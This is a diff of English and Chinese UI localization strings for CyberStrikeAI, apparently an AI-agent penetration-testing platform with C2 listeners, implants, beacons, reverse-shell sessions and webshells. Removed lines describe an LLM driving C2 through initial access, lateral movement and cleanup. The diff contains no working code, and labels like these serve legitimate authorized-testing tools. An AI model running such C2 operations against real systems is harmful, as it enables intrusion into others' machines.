"scheduleMode": "Schedule mode",
|
"scheduleMode": "Schedule mode",
|
||||||
"scheduleModeManual": "Manual",
|
"scheduleModeManual": "Manual",
|
||||||
"scheduleModeCron": "Cron expression",
|
"scheduleModeCron": "Cron expression",
|
||||||
@@ -2463,14 +2555,6 @@
|
|||||||
"checkboxLinkTitle": "Check to link this tool to this role"
|
"checkboxLinkTitle": "Check to link this tool to this role"
|
||||||
},
|
},
|
||||||
"c2": {
|
"c2": {
|
||||||
"title": "C2 Management",
|
|
||||||
"welcomeTitle": "AI-Native C2 Framework",
|
|
||||||
"welcomeDesc": "MCP-native design: let LLM call C2 like calling nmap to complete the full chain: initial access → control → tasks → lateral movement → cleanup",
|
|
||||||
"statListeners": "Running Listeners",
|
|
||||||
"statSessions": "Online Sessions",
|
|
||||||
"statPending": "Pending Tasks",
|
|
||||||
"goListeners": "Manage Listeners",
|
|
||||||
"goSessions": "View Sessions",
|
|
||||||
"clipboardCopied": "Copied to clipboard",
|
"clipboardCopied": "Copied to clipboard",
|
||||||
"fmt": {
|
"fmt": {
|
||||||
"durationMs": "{{n}}ms",
|
"durationMs": "{{n}}ms",
|
||||||
@@ -2480,6 +2564,15 @@
|
|||||||
"files": {
|
"files": {
|
||||||
"parent": "Parent",
|
"parent": "Parent",
|
||||||
"refresh": "Refresh",
|
"refresh": "Refresh",
|
||||||
|
"upload": "Upload",
|
||||||
|
"uploading": "Uploading {{name}} · {{percent}}%",
|
||||||
|
"uploadOk": "Uploaded",
|
||||||
|
"uploadQueued": "Upload task queued",
|
||||||
|
"uploadPendingApproval": "Upload task pending HITL approval",
|
||||||
|
"uploadUnsupported": "Upload is not supported for this session",
|
||||||
|
"uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
|
||||||
|
"uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
|
||||||
|
"uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
|
||||||
"loading": "Loading…",
|
"loading": "Loading…",
|
||||||
"timeout": "Timed out loading files",
|
"timeout": "Timed out loading files",
|
||||||
"emptyDir": "Empty directory",
|
"emptyDir": "Empty directory",
|
||||||
@@ -2489,6 +2582,7 @@
|
|||||||
"colActions": "Actions",
|
"colActions": "Actions",
|
||||||
"open": "Open",
|
"open": "Open",
|
||||||
"download": "Download",
|
"download": "Download",
|
||||||
|
"downloadOk": "Downloaded",
|
||||||
"failed": "Failed"
|
"failed": "Failed"
|
||||||
},
|
},
|
||||||
"listeners": {
|
"listeners": {
|
||||||
@@ -2605,7 +2699,7 @@
|
|||||||
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
||||||
"toastExitSent": "Exit command sent",
|
"toastExitSent": "Exit command sent",
|
||||||
"toastSessionDeleted": "Session record deleted",
|
"toastSessionDeleted": "Session record deleted",
|
||||||
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
|
"terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
|
||||||
"termStatusReady": "Ready",
|
"termStatusReady": "Ready",
|
||||||
"termStatusExec": "Executing…",
|
"termStatusExec": "Executing…",
|
||||||
"termStatusErr": "Error",
|
"termStatusErr": "Error",
|
||||||
@@ -2614,6 +2708,9 @@
|
|||||||
"termWaitTimeout": "[Timed out waiting for result]",
|
"termWaitTimeout": "[Timed out waiting for result]",
|
||||||
"termCleared": "Terminal cleared",
|
"termCleared": "Terminal cleared",
|
||||||
"termNoSelection": "No text selected",
|
"termNoSelection": "No text selected",
|
||||||
|
"termWaitFinish": "Please wait for the current command to finish",
|
||||||
|
"termCtrlC": "Remote interrupt is not supported in this version",
|
||||||
|
"termQueued": "[Command queued — will run after the current task completes]",
|
||||||
"clearTerminal": "Clear"
|
"clearTerminal": "Clear"
|
||||||
},
|
},
|
||||||
"tasks": {
|
"tasks": {
|
||||||
@@ -2640,6 +2737,7 @@
|
|||||||
"colTask": "Task",
|
"colTask": "Task",
|
||||||
"colSession": "Session",
|
"colSession": "Session",
|
||||||
"colType": "Type",
|
"colType": "Type",
|
||||||
|
"colCommand": "Command",
|
||||||
"colStatus": "Status",
|
"colStatus": "Status",
|
||||||
"colDuration": "Duration",
|
"colDuration": "Duration",
|
||||||
"colCreated": "Created",
|
"colCreated": "Created",
|
||||||
@@ -2650,6 +2748,8 @@
|
|||||||
"labelId": "ID",
|
"labelId": "ID",
|
||||||
"labelSession": "Session",
|
"labelSession": "Session",
|
||||||
"labelType": "Type",
|
"labelType": "Type",
|
||||||
|
"labelCommand": "Command",
|
||||||
|
"labelPayload": "Payload",
|
||||||
"labelStatus": "Status",
|
"labelStatus": "Status",
|
||||||
"labelCreated": "Created",
|
"labelCreated": "Created",
|
||||||
"labelSent": "Sent",
|
"labelSent": "Sent",
|
||||||
|
|||||||
+117
-18
@@ -48,6 +48,7 @@
|
|||||||
},
|
},
|
||||||
"login": {
|
"login": {
|
||||||
"title": "登录 CyberStrikeAI",
|
"title": "登录 CyberStrikeAI",
|
||||||
|
"titlePrefix": "登录",
|
||||||
"subtitle": "请输入配置中的访问密码",
|
"subtitle": "请输入配置中的访问密码",
|
||||||
"passwordLabel": "密码",
|
"passwordLabel": "密码",
|
||||||
"passwordPlaceholder": "输入登录密码",
|
"passwordPlaceholder": "输入登录密码",
|
||||||
@@ -78,7 +79,6 @@
|
|||||||
"settings": "系统设置",
|
"settings": "系统设置",
|
||||||
"hitl": "人机协同",
|
"hitl": "人机协同",
|
||||||
"c2": "C2",
|
"c2": "C2",
|
||||||
"c2Manage": "C2 管理",
|
|
||||||
"c2Listeners": "监听器",
|
"c2Listeners": "监听器",
|
||||||
"c2Sessions": "会话",
|
"c2Sessions": "会话",
|
||||||
"c2Tasks": "任务",
|
"c2Tasks": "任务",
|
||||||
@@ -97,8 +97,13 @@
|
|||||||
"clickToViewTasks": "点击查看任务管理",
|
"clickToViewTasks": "点击查看任务管理",
|
||||||
"clickToViewVuln": "点击查看漏洞管理",
|
"clickToViewVuln": "点击查看漏洞管理",
|
||||||
"clickToViewMCP": "点击查看 MCP 监控",
|
"clickToViewMCP": "点击查看 MCP 监控",
|
||||||
|
"accessOverviewTitle": "接入概览",
|
||||||
|
"accessTabsAria": "C2 与 WebShell",
|
||||||
"c2OverviewTitle": "C2 概览",
|
"c2OverviewTitle": "C2 概览",
|
||||||
"c2GoManage": "进入 C2 →",
|
"c2GoManage": "进入 C2 →",
|
||||||
|
"webshellGoManage": "进入 WebShell →",
|
||||||
|
"webshellConnections": "活跃连接",
|
||||||
|
"webshellClickConnections": "查看连接",
|
||||||
"c2ListenersRunning": "运行中监听器",
|
"c2ListenersRunning": "运行中监听器",
|
||||||
"c2SessionsOnline": "在线会话",
|
"c2SessionsOnline": "在线会话",
|
||||||
"c2TasksPending": "待审 / 排队任务",
|
"c2TasksPending": "待审 / 排队任务",
|
||||||
@@ -152,7 +157,13 @@
|
|||||||
"lastUpdated": "上次更新",
|
"lastUpdated": "上次更新",
|
||||||
"viewAll": "查看全部 →",
|
"viewAll": "查看全部 →",
|
||||||
"recentVulns": "最近漏洞",
|
"recentVulns": "最近漏洞",
|
||||||
|
"recentFacts": "近期事实",
|
||||||
"noVulnYet": "暂无最近漏洞",
|
"noVulnYet": "暂无最近漏洞",
|
||||||
|
"noFactsYet": "暂无近期事实",
|
||||||
|
"noFactsDesc": "在绑定项目的对话中,Agent 会自动记录目标、漏洞、攻击链等事实",
|
||||||
|
"createFirstProjectBtn": "创建第一个项目",
|
||||||
|
"factProjectMeta": "{{project}} · {{key}}",
|
||||||
|
"factsAcrossProjects": "{{count}} 个活跃项目 · {{facts}} 条事实",
|
||||||
"capabilities": "能力总览",
|
"capabilities": "能力总览",
|
||||||
"mcpTools": "MCP 工具",
|
"mcpTools": "MCP 工具",
|
||||||
"rolesLabel": "角色",
|
"rolesLabel": "角色",
|
||||||
@@ -218,6 +229,13 @@
|
|||||||
"newProjectCta": "+ 新建项目",
|
"newProjectCta": "+ 新建项目",
|
||||||
"projectList": "项目列表",
|
"projectList": "项目列表",
|
||||||
"searchProjectsPlaceholder": "搜索项目…",
|
"searchProjectsPlaceholder": "搜索项目…",
|
||||||
|
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
|
||||||
|
"paginationRange": "{{start}}-{{end}}/{{total}}",
|
||||||
|
"paginationTotal": "共 {{total}} 条",
|
||||||
|
"paginationPage": "{{page}}/{{total}}",
|
||||||
|
"paginationPerPage": "每页",
|
||||||
|
"paginationPrev": "上一页",
|
||||||
|
"paginationNext": "下一页",
|
||||||
"selectOrCreateTitle": "选择或创建项目",
|
"selectOrCreateTitle": "选择或创建项目",
|
||||||
"selectOrCreateHint": "项目用于跨对话共享「事实黑板」:目标、环境、认证等信息会在绑定项目的对话中自动注入。",
|
"selectOrCreateHint": "项目用于跨对话共享「事实黑板」:目标、环境、认证等信息会在绑定项目的对话中自动注入。",
|
||||||
"createFirstProject": "创建第一个项目",
|
"createFirstProject": "创建第一个项目",
|
||||||
@@ -247,6 +265,9 @@
|
|||||||
"boundConversationsHint": "绑定到本项目的对话;点击可打开会话",
|
"boundConversationsHint": "绑定到本项目的对话;点击可打开会话",
|
||||||
"titleLabel": "标题",
|
"titleLabel": "标题",
|
||||||
"projectVulnSummaryHint": "本项目下记录的漏洞汇总",
|
"projectVulnSummaryHint": "本项目下记录的漏洞汇总",
|
||||||
|
"searchVulnsSr": "搜索漏洞",
|
||||||
|
"searchVulnsPlaceholder": "搜索标题、描述、类型、目标…",
|
||||||
|
"noMatchingVulns": "无匹配漏洞,请调整筛选条件",
|
||||||
"viewInVulnerabilityManagement": "在漏洞管理中查看",
|
"viewInVulnerabilityManagement": "在漏洞管理中查看",
|
||||||
"severity": "严重度",
|
"severity": "严重度",
|
||||||
"status": "状态",
|
"status": "状态",
|
||||||
@@ -362,6 +383,7 @@
|
|||||||
"settingsIntroTitle": "项目设置",
|
"settingsIntroTitle": "项目设置",
|
||||||
"settingsIntroHint": "配置项目元数据与 Agent 授权边界,保存后即时生效于绑定对话。",
|
"settingsIntroHint": "配置项目元数据与 Agent 授权边界,保存后即时生效于绑定对话。",
|
||||||
"pinProject": "置顶项目(列表优先显示)",
|
"pinProject": "置顶项目(列表优先显示)",
|
||||||
|
"pinFact": "置顶事实(列表与黑板索引优先)",
|
||||||
"editDescriptionPlaceholder": "测试目标、授权范围、联系人、注意事项…",
|
"editDescriptionPlaceholder": "测试目标、授权范围、联系人、注意事项…",
|
||||||
"scopeTitle": "测试范围",
|
"scopeTitle": "测试范围",
|
||||||
"scopeHint": "JSON 格式,供 Agent 理解授权边界与目标资产",
|
"scopeHint": "JSON 格式,供 Agent 理解授权边界与目标资产",
|
||||||
@@ -393,6 +415,13 @@
|
|||||||
"addGroup": "新建分组",
|
"addGroup": "新建分组",
|
||||||
"recentConversations": "最近对话",
|
"recentConversations": "最近对话",
|
||||||
"batchManage": "批量管理",
|
"batchManage": "批量管理",
|
||||||
|
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
|
||||||
|
"paginationRange": "{{start}}-{{end}}/{{total}}",
|
||||||
|
"paginationTotal": "共 {{total}} 条",
|
||||||
|
"paginationPage": "{{page}}/{{total}}",
|
||||||
|
"paginationPerPage": "每页",
|
||||||
|
"paginationPrev": "上一页",
|
||||||
|
"paginationNext": "下一页",
|
||||||
"attackChain": "攻击链",
|
"attackChain": "攻击链",
|
||||||
"viewAttackChain": "查看攻击链",
|
"viewAttackChain": "查看攻击链",
|
||||||
"selectRole": "选择角色",
|
"selectRole": "选择角色",
|
||||||
@@ -486,8 +515,6 @@
|
|||||||
"historyGroupEarlier": "更早",
|
"historyGroupEarlier": "更早",
|
||||||
"agentModeSelectAria": "选择对话执行模式",
|
"agentModeSelectAria": "选择对话执行模式",
|
||||||
"agentModePanelTitle": "对话模式",
|
"agentModePanelTitle": "对话模式",
|
||||||
"agentModeReactNative": "原生 ReAct 模式",
|
|
||||||
"agentModeReactNativeHint": "经典单代理 ReAct 与 MCP 工具",
|
|
||||||
"agentModeEinoSingle": "Eino 单代理(ADK)",
|
"agentModeEinoSingle": "Eino 单代理(ADK)",
|
||||||
"agentModeEinoSingleHint": "Eino ChatModelAgent + Runner,MCP 工具(/api/eino-agent)",
|
"agentModeEinoSingleHint": "Eino ChatModelAgent + Runner,MCP 工具(/api/eino-agent)",
|
||||||
"agentModeDeep": "Deep(DeepAgent)",
|
"agentModeDeep": "Deep(DeepAgent)",
|
||||||
@@ -498,7 +525,7 @@
|
|||||||
"agentModeSupervisorHint": "监督者协调,transfer 委派子代理",
|
"agentModeSupervisorHint": "监督者协调,transfer 委派子代理",
|
||||||
"agentModeSingle": "单代理",
|
"agentModeSingle": "单代理",
|
||||||
"agentModeMulti": "多代理",
|
"agentModeMulti": "多代理",
|
||||||
"agentModeSingleHint": "单模型 ReAct 循环,适合常规对话与工具调用",
|
"agentModeSingleHint": "Eino ADK 单代理,适合常规对话与工具调用",
|
||||||
"agentModeMultiHint": "Eino 预置编排(deep / plan_execute / supervisor),适合复杂任务",
|
"agentModeMultiHint": "Eino 预置编排(deep / plan_execute / supervisor),适合复杂任务",
|
||||||
"reasoningModeLabel": "模型推理",
|
"reasoningModeLabel": "模型推理",
|
||||||
"reasoningEffortLabel": "推理强度",
|
"reasoningEffortLabel": "推理强度",
|
||||||
@@ -1486,9 +1513,15 @@
|
|||||||
"loading": "加载中...",
|
"loading": "加载中...",
|
||||||
"noStatsData": "暂无统计数据",
|
"noStatsData": "暂无统计数据",
|
||||||
"noExecutions": "暂无执行记录",
|
"noExecutions": "暂无执行记录",
|
||||||
|
"emptyHint": "在对话或任务中调用 MCP 工具后,执行记录将显示在此处",
|
||||||
"noRecordsWithFilter": "当前筛选条件下暂无记录",
|
"noRecordsWithFilter": "当前筛选条件下暂无记录",
|
||||||
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 条记录",
|
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 条记录",
|
||||||
"perPageLabel": "每页显示",
|
"perPageLabel": "每页显示",
|
||||||
|
"firstPage": "首页",
|
||||||
|
"prevPage": "上一页",
|
||||||
|
"nextPage": "下一页",
|
||||||
|
"lastPage": "末页",
|
||||||
|
"pageInfo": "第 {{page}} / {{total}} 页",
|
||||||
"loadStatsError": "无法加载统计信息",
|
"loadStatsError": "无法加载统计信息",
|
||||||
"loadExecutionsError": "无法加载执行记录",
|
"loadExecutionsError": "无法加载执行记录",
|
||||||
"totalCalls": "总调用次数",
|
"totalCalls": "总调用次数",
|
||||||
@@ -1501,6 +1534,17 @@
|
|||||||
"unknownTool": "未知工具",
|
"unknownTool": "未知工具",
|
||||||
"successFailedRate": "成功 {{success}} / 失败 {{failed}} · 成功率 {{rate}}%",
|
"successFailedRate": "成功 {{success}} / 失败 {{failed}} · 成功率 {{rate}}%",
|
||||||
"topToolsTitle": "工具调用 Top {{n}}",
|
"topToolsTitle": "工具调用 Top {{n}}",
|
||||||
|
"toolRankingTitle": "工具调用排行",
|
||||||
|
"toolStatsTitle": "工具统计",
|
||||||
|
"toolStatsHint": "点击色条或列表行筛选下方执行记录;悬停联动高亮",
|
||||||
|
"scopeCumulative": "累计",
|
||||||
|
"scopeTimeline": "趋势时段",
|
||||||
|
"filterActive": "已筛选:{{tool}}",
|
||||||
|
"kpiScopeNote": "累计统计(全时段)",
|
||||||
|
"columnCalls": "调用",
|
||||||
|
"columnShare": "占比",
|
||||||
|
"columnSuccessRate": "成功率",
|
||||||
|
"rankingSummary": "Top {{n}} 占 {{pct}}% · 共 {{total}} 次调用",
|
||||||
"barVolumeLegend": "条长表示相对调用量,条内绿/红为成功/失败占比",
|
"barVolumeLegend": "条长表示相对调用量,条内绿/红为成功/失败占比",
|
||||||
"clickToFilterTool": "点击行筛选下方执行记录",
|
"clickToFilterTool": "点击行筛选下方执行记录",
|
||||||
"toolRowAriaLabel": "{{name}},{{total}} 次调用,成功率 {{rate}}%,点击查看执行记录",
|
"toolRowAriaLabel": "{{name}},{{total}} 次调用,成功率 {{rate}}%,点击查看执行记录",
|
||||||
@@ -1513,9 +1557,21 @@
|
|||||||
"rateWarning": "存在失败调用",
|
"rateWarning": "存在失败调用",
|
||||||
"rateCritical": "失败率偏高",
|
"rateCritical": "失败率偏高",
|
||||||
"statsSubtitle": "最后刷新 {{time}} · 共 {{count}} 个工具",
|
"statsSubtitle": "最后刷新 {{time}} · 共 {{count}} 个工具",
|
||||||
|
"timelineTitle": "调用趋势",
|
||||||
|
"timelineHint": "全部工具合计,不按工具拆分",
|
||||||
|
"timelineRange24h": "24 小时",
|
||||||
|
"timelineRange7d": "7 天",
|
||||||
|
"timelineRange30d": "30 天",
|
||||||
|
"timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
|
||||||
|
"timelineSparseHint": "该时段多数时间为 0,峰值 {{peak}} 次出现在 {{peakTime}}",
|
||||||
|
"timelineNoData": "该时段暂无调用",
|
||||||
|
"timelineLoadError": "无法加载调用趋势",
|
||||||
|
"timelineTotalLegend": "总调用",
|
||||||
|
"timelineFailedLegend": "失败",
|
||||||
|
"timelineTooltip": "{{time}}:{{total}} 次(失败 {{failed}})",
|
||||||
"distTitle": "调用分布",
|
"distTitle": "调用分布",
|
||||||
"distLegend": "扇区面积为占全部调用比例",
|
"distLegend": "扇区面积为占全部调用比例",
|
||||||
"distClickHint": "点击图例或扇区筛选执行记录",
|
"distClickHint": "点击色条筛选执行记录",
|
||||||
"distHeaderHint": "共 {{n}} 次调用",
|
"distHeaderHint": "共 {{n}} 次调用",
|
||||||
"distSegmentAria": "{{name}},占 {{pct}}%,{{calls}} 次",
|
"distSegmentAria": "{{name}},占 {{pct}}%,{{calls}} 次",
|
||||||
"distOthersNoFilter": "其他工具无法单独筛选",
|
"distOthersNoFilter": "其他工具无法单独筛选",
|
||||||
@@ -1745,6 +1801,12 @@
|
|||||||
"loadListFailed": "加载失败",
|
"loadListFailed": "加载失败",
|
||||||
"noRecords": "暂无漏洞记录",
|
"noRecords": "暂无漏洞记录",
|
||||||
"batchExport": "批量导出",
|
"batchExport": "批量导出",
|
||||||
|
"batchDelete": "批量删除",
|
||||||
|
"batchDeleteNoResults": "当前筛选条件下没有可删除的漏洞",
|
||||||
|
"batchDeleteConfirm": "确定要删除当前筛选条件下的 {{count}} 条漏洞吗?此操作不可恢复。",
|
||||||
|
"batchDeleteConfirmAll": "未设置筛选条件,将删除全部 {{count}} 条漏洞。此操作不可恢复,确定继续?",
|
||||||
|
"batchDeleteSuccess": "成功删除 {{count}} 条漏洞",
|
||||||
|
"batchDeleteFailed": "批量删除失败",
|
||||||
"downloadMarkdownTitle": "下载 Markdown",
|
"downloadMarkdownTitle": "下载 Markdown",
|
||||||
"exportNoResults": "当前筛选条件下无可导出漏洞",
|
"exportNoResults": "当前筛选条件下无可导出漏洞",
|
||||||
"exportStarted": "已开始下载 {{count}} 份报告",
|
"exportStarted": "已开始下载 {{count}} 份报告",
|
||||||
@@ -1823,7 +1885,7 @@
|
|||||||
"descPlaceholder": "何时由协调者调度该子代理",
|
"descPlaceholder": "何时由协调者调度该子代理",
|
||||||
"fieldTools": "可用工具(逗号分隔,与角色工具 key 一致)",
|
"fieldTools": "可用工具(逗号分隔,与角色工具 key 一致)",
|
||||||
"fieldBindRole": "绑定角色(可选)",
|
"fieldBindRole": "绑定角色(可选)",
|
||||||
"fieldMaxIter": "子代理最大迭代(0=使用全局默认)",
|
"fieldMaxIter": "最大迭代(0=沿用设置页 agent.max_iterations)",
|
||||||
"fieldInstruction": "系统提示词(Markdown 正文)",
|
"fieldInstruction": "系统提示词(Markdown 正文)",
|
||||||
"instructionPlaceholder": "You are a specialist agent...",
|
"instructionPlaceholder": "You are a specialist agent...",
|
||||||
"nameRequired": "请填写显示名称",
|
"nameRequired": "请填写显示名称",
|
||||||
@@ -1944,6 +2006,24 @@
|
|||||||
"retryDelay": "重试间隔(毫秒)",
|
"retryDelay": "重试间隔(毫秒)",
|
||||||
"retryDelayPlaceholder": "1000",
|
"retryDelayPlaceholder": "1000",
|
||||||
"retryDelayHint": "重试间隔毫秒数(默认 1000),每次重试会递增延迟",
|
"retryDelayHint": "重试间隔毫秒数(默认 1000),每次重试会递增延迟",
|
||||||
|
"visionConfig": "视觉分析(analyze_image)",
|
||||||
|
"visionEnabled": "启用视觉分析工具 analyze_image",
|
||||||
|
"visionEnabledHint": "启用后注册 MCP 工具;图片仅在单次 VL 调用中出现,Agent 上下文只保留文字摘要。保存并应用后生效。",
|
||||||
|
"visionBaseUrlPlaceholder": "留空则复用 OpenAI Base URL",
|
||||||
|
"visionApiKeyPlaceholder": "留空则复用 OpenAI API Key",
|
||||||
|
"visionModel": "视觉模型",
|
||||||
|
"visionModelPlaceholder": "qwen-vl-max",
|
||||||
|
"visionModelRequired": "启用视觉分析时请填写视觉模型名称",
|
||||||
|
"visionAdvanced": "高级:预处理与限制",
|
||||||
|
"visionMaxImageBytes": "原始文件上限(字节)",
|
||||||
|
"visionMaxDimension": "长边缩放像素",
|
||||||
|
"visionJpegQuality": "JPEG 质量",
|
||||||
|
"visionMaxPayloadBytes": "送 API 体积上限(字节)",
|
||||||
|
"visionSkipPreprocessBytes": "低于该字节可原图直传",
|
||||||
|
"visionSkipPreprocessHint": "0 表示始终 JPEG 压缩;需同时满足长边与 payload 限制。",
|
||||||
|
"visionDetail": "Image detail",
|
||||||
|
"visionTimeout": "超时(秒)",
|
||||||
|
"visionTestFillRequired": "请填写视觉模型,并确保 API Key 可用(可复用 OpenAI)",
|
||||||
"testConnection": "测试连接",
|
"testConnection": "测试连接",
|
||||||
"testFillRequired": "请先填写 API Key 和模型",
|
"testFillRequired": "请先填写 API Key 和模型",
|
||||||
"testing": "测试中...",
|
"testing": "测试中...",
|
||||||
@@ -2080,17 +2160,25 @@
|
|||||||
"settingsRobotsExtra": {
|
"settingsRobotsExtra": {
|
||||||
"botCommandsTitle": "机器人命令说明",
|
"botCommandsTitle": "机器人命令说明",
|
||||||
"botCommandsDesc": "在对话中可发送以下命令(支持中英文):",
|
"botCommandsDesc": "在对话中可发送以下命令(支持中英文):",
|
||||||
|
"botCmdCategoryGeneral": "通用",
|
||||||
|
"botCmdCategoryConversation": "对话",
|
||||||
|
"botCmdCategoryRole": "角色",
|
||||||
|
"botCmdCategoryProject": "项目",
|
||||||
"botCmdHelp": "显示本帮助 | Show this help",
|
"botCmdHelp": "显示本帮助 | Show this help",
|
||||||
"botCmdList": "列出所有对话标题与 ID | List conversations",
|
"botCmdList": "列出所有对话标题与 ID | List conversations",
|
||||||
"botCmdSwitch": "指定对话继续 | Switch to conversation",
|
"botCmdSwitch": "指定对话继续 | Switch to conversation",
|
||||||
"botCmdNew": "开启新对话 | Start new conversation",
|
"botCmdNew": "开启新对话 | Start new conversation",
|
||||||
"botCmdClear": "清空当前上下文 | Clear context",
|
"botCmdClear": "清空当前上下文 | Clear context",
|
||||||
"botCmdCurrent": "显示当前对话 ID 与标题 | Show current conversation",
|
"botCmdCurrent": "显示当前对话、角色与项目 | Show current conversation",
|
||||||
"botCmdStop": "中断当前任务 | Stop running task",
|
"botCmdStop": "中断当前任务 | Stop running task",
|
||||||
"botCmdRoles": "列出所有可用角色 | List roles",
|
"botCmdRoles": "列出所有可用角色 | List roles",
|
||||||
"botCmdRole": "切换当前角色 | Switch role",
|
"botCmdRole": "切换当前角色 | Switch role",
|
||||||
"botCmdDelete": "删除指定对话 | Delete conversation",
|
"botCmdDelete": "删除指定对话 | Delete conversation",
|
||||||
"botCmdVersion": "显示当前版本号 | Show version",
|
"botCmdVersion": "显示当前版本号 | Show version",
|
||||||
|
"botCmdProjects": "列出所有项目 | List projects",
|
||||||
|
"botCmdNewProject": "创建项目并绑定当前对话 | Create & bind project",
|
||||||
|
"botCmdBindProject": "将当前对话绑定到项目 | Bind conversation",
|
||||||
|
"botCmdUnbindProject": "解除当前对话的项目绑定 | Unbind project",
|
||||||
"botCommandsFooter": "除以上命令外,直接输入内容将发送给 AI 进行渗透测试/安全分析。Otherwise, send any text for AI penetration testing / security analysis."
|
"botCommandsFooter": "除以上命令外,直接输入内容将发送给 AI 进行渗透测试/安全分析。Otherwise, send any text for AI penetration testing / security analysis."
|
||||||
},
|
},
|
||||||
"mcpDetailModal": {
|
"mcpDetailModal": {
|
||||||
@@ -2183,6 +2271,9 @@
|
|||||||
"descriptionPlaceholder": "Skill的简短描述",
|
"descriptionPlaceholder": "Skill的简短描述",
|
||||||
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
|
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
|
||||||
"packageFiles": "包内文件",
|
"packageFiles": "包内文件",
|
||||||
|
"packageFilesHint": "点击文件进行编辑;文件夹仅作分组展示,不可点击",
|
||||||
|
"folderHint": "文件夹(不可编辑)",
|
||||||
|
"clickToEdit": "点击编辑此文件",
|
||||||
"editingFile": "正在编辑",
|
"editingFile": "正在编辑",
|
||||||
"newFile": "新建文件",
|
"newFile": "新建文件",
|
||||||
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
|
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
|
||||||
@@ -2266,9 +2357,9 @@
|
|||||||
"projectNone": "(未绑定)",
|
"projectNone": "(未绑定)",
|
||||||
"projectHint": "可为队列绑定项目;留空则不绑定项目上下文。",
|
"projectHint": "可为队列绑定项目;留空则不绑定项目上下文。",
|
||||||
"agentMode": "代理模式",
|
"agentMode": "代理模式",
|
||||||
"agentModeSingle": "单代理(ReAct)",
|
"agentModeSingle": "单代理(Eino ADK)",
|
||||||
"agentModeMulti": "多代理(Eino)",
|
"agentModeMulti": "多代理(Eino)",
|
||||||
"agentModeHint": "与对话页一致:原生 ReAct、Eino 单代理(ADK),或 Deep / Plan-Execute / Supervisor(后三种需已启用多代理)。",
|
"agentModeHint": "与对话页一致:Eino 单代理(ADK),或 Deep / Plan-Execute / Supervisor(后三种需已启用多代理)。",
|
||||||
"scheduleMode": "调度方式",
|
"scheduleMode": "调度方式",
|
||||||
"scheduleModeManual": "手工执行",
|
"scheduleModeManual": "手工执行",
|
||||||
"scheduleModeCron": "调度表达式(Cron)",
|
"scheduleModeCron": "调度表达式(Cron)",
|
||||||
@@ -2452,14 +2543,6 @@
|
|||||||
"checkboxLinkTitle": "勾选表示本角色关联使用该工具"
|
"checkboxLinkTitle": "勾选表示本角色关联使用该工具"
|
||||||
},
|
},
|
||||||
"c2": {
|
"c2": {
|
||||||
"title": "C2 管理",
|
|
||||||
"welcomeTitle": "AI-Native C2 框架",
|
|
||||||
"welcomeDesc": "以 MCP 工具为一等公民,让 LLM 可以像调用 nmap 一样调用 C2 完成「上线 → 控制 → 任务 → 横向 → 清场」全流程",
|
|
||||||
"statListeners": "运行中监听器",
|
|
||||||
"statSessions": "在线会话",
|
|
||||||
"statPending": "待审任务",
|
|
||||||
"goListeners": "管理监听器",
|
|
||||||
"goSessions": "查看会话",
|
|
||||||
"clipboardCopied": "已复制到剪贴板",
|
"clipboardCopied": "已复制到剪贴板",
|
||||||
"fmt": {
|
"fmt": {
|
||||||
"durationMs": "{{n}}ms",
|
"durationMs": "{{n}}ms",
|
||||||
@@ -2469,6 +2552,15 @@
|
|||||||
"files": {
|
"files": {
|
||||||
"parent": "上级目录",
|
"parent": "上级目录",
|
||||||
"refresh": "刷新",
|
"refresh": "刷新",
|
||||||
|
"upload": "上传",
|
||||||
|
"uploading": "正在上传 {{name}} · {{percent}}%",
|
||||||
|
"uploadOk": "上传成功",
|
||||||
|
"uploadQueued": "上传任务已入队",
|
||||||
|
"uploadPendingApproval": "上传任务待人机协同审批",
|
||||||
|
"uploadUnsupported": "当前会话不支持上传",
|
||||||
|
"uploadCurlBeacon": "Curl 轻量信标不支持文件上传,请使用 HTTP Beacon",
|
||||||
|
"uploadTcpShell": "当前为 TCP 反弹 Shell(bash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
|
||||||
|
"uploadTcpReverse": "当前为 TCP 反弹 Shell(bash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
|
||||||
"loading": "加载中…",
|
"loading": "加载中…",
|
||||||
"timeout": "加载文件超时",
|
"timeout": "加载文件超时",
|
||||||
"emptyDir": "空目录",
|
"emptyDir": "空目录",
|
||||||
@@ -2478,6 +2570,7 @@
|
|||||||
"colActions": "操作",
|
"colActions": "操作",
|
||||||
"open": "打开",
|
"open": "打开",
|
||||||
"download": "下载",
|
"download": "下载",
|
||||||
|
"downloadOk": "下载成功",
|
||||||
"failed": "失败"
|
"failed": "失败"
|
||||||
},
|
},
|
||||||
"listeners": {
|
"listeners": {
|
||||||
@@ -2594,7 +2687,7 @@
|
|||||||
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
||||||
"toastExitSent": "退出指令已发送",
|
